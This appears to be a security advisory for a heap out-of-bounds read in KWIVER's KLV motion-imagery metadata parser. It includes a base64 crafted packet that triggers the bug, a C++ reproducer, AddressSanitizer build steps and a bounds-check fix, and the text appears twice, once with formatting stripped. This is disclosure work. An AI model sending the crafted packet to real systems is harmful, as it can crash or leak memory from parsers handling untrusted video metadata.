ST0601 Weapons Store (tag 65) — heap out-of-bounds read
Project: KWIVER — arrows/klv (KLV / MISB motion-imagery metadata parser)
Affected version: master @ af3554f1f (v1.8.0-1260-gaf3554f1f) — current tip
Severity: Medium (OOB read + unbounded alloc)
Location: arrows/klv/klv_0601.cxx — klv_0601_weapons_store_format::read_typed
Entry point: kwiver::arrows::klv::klv_read_packet() on untrusted KLV bytes
(e.g. metadata embedded in a MISB motion-imagery stream) — no authentication or
special state required.
Detection: AddressSanitizer
Description
Every field is bounded by tracker.remaining() — except the trailing
weapon-type string:
auto const length_of_weapon_type = klv_read_ber< size_t >( data, tracker.remaining() );
result.weapon_type = klv_read_string( data, length_of_weapon_type ); // unbounded
Impact: length_of_weapon_type comes straight from the packet; a value
larger than the field reads past the buffer, a huge value also requests an
enormous allocation.
The reader helpers (klv_read_int, klv_read_imap, klv_read_string) do no
buffer-bounds check — they trust the caller to pass a valid length. The safe
pattern used elsewhere in the codebase is tracker.verify(n), which returns n
if n bytes remain in the field and otherwise throws metadata_buffer_overflow.
Proof of concept
Raw KLV packet (946 bytes), base64 — decode with base64 -d:
Bg4rNAILAQEOAQMBAQAAAIIDnwIIAARZ9KaqSqgDCU1JU1NPTkkwKRgEFLwIKxkCNPMgGgIXUBsC
Bj8cAj8DAAASD1ZJUyBOb3NlIENhbWVyYRUBABJBZmZmZmZmZh0dHR0dQ01FIFbo6Ojo6Ojo6Ojo
6Ojo6CA0NTaBCwELgQwsDgEBAAAAAAAAAANwb29uDwEBAgKeBAhIZWwMLA4BAQEDggMHSGFycG9v
bg8BAQICngQISGVsbGZpcmUMAQIBAQMGR0JVLTE1gQ1ADwALAQuBDCwOAQEBA4IDB0hhcnBvb24P
AQECAp4ECEhlbGxmaXJlDAECZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm
ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZh0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0d
HR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHSUdHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0d
HR0dHR0dHR0dHR0dHR0dHR1mZmZmZmZmAggABFn0pqpKqAMJTUlTU0lPTgcAMDEEBkFGLTEwAm8g
V2F5cG9pbnQgMXQCAwd1Aj6QdgM+gBF3AjtgeAJIAHkCAQN6CwEOA0NGLTEwS0xWX1BBQ0tFVF9V
TktOT1dOMQUCccIGAv09BwJBTgADRlJBewEHfAEDfQEJfgEBfwWD1FJBewEHfAEDfQEJfgEFfwWD
xNRgh2mBAA4NFQcAAAAH0AAAD6BOTklSgQEEQTEyM4ECGAtAa8IJGb2lVAcOAAtAeDy4GaKSdAfG
AIEDBwVvJxteQbeBBAIhCAAEWfSmLTEwZXRpYwIIAARZ9KaqSqgDCU1JU1NJT04wMQQGQUYtMTAx
BQJxwgYC/T0HAgi4JQgBkwkBnwoFTVExLUILAkVPDA5HZW9kZXRpYyBXR1M4NA5VBA1tBLaVW1Ng
xA8CwiEQAs2cEQLZFxLQJGYBgEkASgBLAsIhTAILs00BAU4CC7NPAgn7UAIEvFEEACQ4AFIE8Qab
Yx0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0GR0JVLTE1gQ1ADwALAQuBDCwOAQEB
A4IDB0hhcnBvb24PAQECAp4ECEhlbGxmaXJlDAECZmZmZmZmZmZmZmZmZmZmZmZmZmZmB9AADwP/
/gBAceWvGb9dpwlgAIFDDgY0gABLAAAGGkAADIAAgQ8BBw==
Reproduction
No fuzzing engine or custom harness required — only the public KLV API and an
AddressSanitizer build of kwiver_algo_klv:
base64 -d poc.b64 > poc.klv # poc.b64 = the base64 block above
ASAN_OPTIONS=detect_leaks=0 ./repro_klv poc.klv
→ AddressSanitizer: heap-buffer-overflow READ / container-overflow in klv_0601_weapons_store_format::read_typed.
Standalone reproducer — repro_klv.cxx (public KLV API only, no fuzzer)
#include <arrows/klv/klv_packet.h>
#include <cstdint>
#include <cstdio>
#include <fstream>
#include <vector>
using namespace kwiver::arrows::klv;
int main( int argc, char** argv )
{
std::ifstream in( argv[1], std::ios::binary );
std::vector< uint8_t > buf( ( std::istreambuf_iterator< char >( in ) ),
std::istreambuf_iterator< char >() );
klv_read_iter_t it = buf.data();
klv_read_iter_t const end = buf.data() + buf.size();
while( it < end ) { // consume as a KLV stream
klv_read_iter_t const before = it;
try { (void) klv_read_packet( it, static_cast< size_t >( end - it ) ); }
catch( std::exception const& e ) { std::printf( "rejected: %s\n", e.what() ); break; }
if( it <= before ) break;
}
return 0;
}
Build against an AddressSanitizer build of kwiver_algo_klv:
clang++ -std=c++17 -g -fsanitize=address repro_klv.cxx \
-I<kwiver_src> -I<kwiver_build> \
-L<kwiver_build>/lib -lkwiver_algo_klv -lvital -lvital_logger \
-lvital_exceptions -lvital_util -lvital_config -lvital_types \
-Wl,-rpath,<kwiver_build>/lib -o repro_klv
Suggested fix
result.weapon_type = klv_read_string( data, tracker.verify( length_of_weapon_type ) );
Reported by patrick@fuzzinglabs.com (FuzzingLabs). Reproduced on master
(af3554f1f); the fix above was verified to eliminate the AddressSanitizer
error.
ST0601 Weapons Store (tag 65) — heap out-of-bounds read
Project: KWIVER —
arrows/klv(KLV / MISB motion-imagery metadata parser)Affected version:
master@af3554f1f(v1.8.0-1260-gaf3554f1f) — current tipSeverity: Medium (OOB read + unbounded alloc)
Location:
arrows/klv/klv_0601.cxx—klv_0601_weapons_store_format::read_typedEntry point:
kwiver::arrows::klv::klv_read_packet()on untrusted KLV bytes(e.g. metadata embedded in a MISB motion-imagery stream) — no authentication or
special state required.
Detection: AddressSanitizer
Description
Every field is bounded by
tracker.remaining()— except the trailingweapon-type string:
Impact:
length_of_weapon_typecomes straight from the packet; a valuelarger than the field reads past the buffer, a huge value also requests an
enormous allocation.
The reader helpers (
klv_read_int,klv_read_imap,klv_read_string) do nobuffer-bounds check — they trust the caller to pass a valid length. The safe
pattern used elsewhere in the codebase is
tracker.verify(n), which returnsnif
nbytes remain in the field and otherwise throwsmetadata_buffer_overflow.Proof of concept
Raw KLV packet (946 bytes), base64 — decode with
base64 -d:Reproduction
No fuzzing engine or custom harness required — only the public KLV API and an
AddressSanitizer build of
kwiver_algo_klv:→ AddressSanitizer:
heap-buffer-overflowREAD /container-overflowinklv_0601_weapons_store_format::read_typed.Standalone reproducer —
repro_klv.cxx(public KLV API only, no fuzzer)Build against an AddressSanitizer build of
kwiver_algo_klv:Suggested fix
Reported by patrick@fuzzinglabs.com (FuzzingLabs). Reproduced on
master(
af3554f1f); the fix above was verified to eliminate the AddressSanitizererror.